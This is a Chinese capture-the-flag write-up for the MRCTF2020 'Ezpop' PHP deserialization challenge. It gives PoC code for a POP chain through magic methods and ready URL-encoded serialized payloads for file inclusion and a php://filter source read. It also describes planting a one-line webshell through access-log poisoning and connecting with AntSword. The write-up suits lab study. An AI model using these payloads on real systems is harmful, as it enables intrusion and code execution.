MRCTF2020 Ezpop wp

可以通过buuoj启动环境

考的反序列化
首先做pop链的题,我们需要知道php中魔法函数的作用
在这就介绍改题所涉及的魔法函数

首先是__invoke()
在将类名当函数使用的时候调用
一般是这种题的出口

然后是__constructor
在创建该类对象时调用
__wakeup在反序列化该类对象时调用
__toString在将类作为字符串使用时调用
__get访问不存在的变量,或private修饰的变量时调用
那么知道以上的知识后
再来看代码

这里是出口,我们希望最终执行文件包含,达到我们的目的
那么此处Modifier类的$var的值就该是我们希望包含的值
如何调用__invoke函数?

观察得到Test类中的__get函数可以成为跳板

再通过Show类的__toSting方法去访问Test类中不存在的值以调用__get方法

最终到入口__wakeup方法
那么poc如下

$T=new Test();
$S=new Show();
$M=new Modifier();
$S->source=new Show();
$S->source->str=$T;
$T->p=$M;
echo urlencode(serialize($S));

我们尝试日志包含
将$var的值改为:file:///var/log/nginx/access.log
传入后发现漏洞存在

抓包,在ua里写入一句话木马
蚁剑连上

拿到flag

最开始没有想到直接包含flag.php 因为没想到会是这个文件名,再试试直接包含flag.php

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

是无法得到的,那么可以考虑用伪协议读下源码

php://filter/read=convert.base64-encode/resource=flag.php

序列化且url编码后得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

也是可以拿到flag的

MRCTF2020 Ezpop wp相关推荐

[MRCTF2020]PYWebsite -wp
查看源码发现一段前段验证,然后发现在目录下有一个flag.php 提示验证在后端,所以前面那个前端验证没用(也正常,前端验证都可以直接修改) 购买者的ip已经被记录,本地可以看到flag,那么使用x ...
[BUUOJ][MRCTF2020]Ezpop
文章目录代码审计阶段 Modifier类 Show类 Test类构造pop链代码审计阶段按照步骤一步一步分析 Modifier类首先第一个Modifier类 class Modifier { ...
BUUCTF·[MRCTF2020]babyRSA·WP
BUUCTF在线评测 (buuoj.cn) 附件 import sympy import random from gmpy2 import gcd, invert from Crypto.Util.n ...
反序列化(Unserialize)漏洞详解
序列化和反序列化漏洞分析序列化(serialize) 就将对象的状态信息转换为可以存储或传输的形式的过程在序列化期间,对象将当前的状态写入到临时或持久性的存储区 [将状态信息保存为字符串]. ...
cl.ez6.xyz index.php,[BJDCTF2020]EzPHP-POP链
那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例. 题目 1 Welcome to index.php 2 < ...
BUUCTF-MRCTF2020
WEB [MRCTF2020]PYWebsite [MRCTF2020]Ez_bypass [MRCTF2020]套娃 [MRCTF2020]Ezpop [MRCTF2020]你传你
BUUCTF Web 第二页全部Write ups
更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...
【JAVA进阶架构师指南】小白勿点
前言本博客是长篇系列博客,旨在帮助想提升自己,突破技术瓶颈,但又苦于不知道如何进行系统学习从而提升自己的童鞋.笔者假设读者具有3-5年开发经验,java基础扎实,想突破自己的技术瓶颈,成为一位优秀的 ...
BUUCTF·[MRCTF2020]天干地支+甲子·WP
题目来源 BUUCTF在线评测 (buuoj.cn) 附件得到得字符串用MRCTF{}包裹一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下甲戌甲寅甲寅癸卯己酉甲寅 ...

MRCTF2020 Ezpop wp

MRCTF2020 Ezpop wp相关推荐

最新文章

热门文章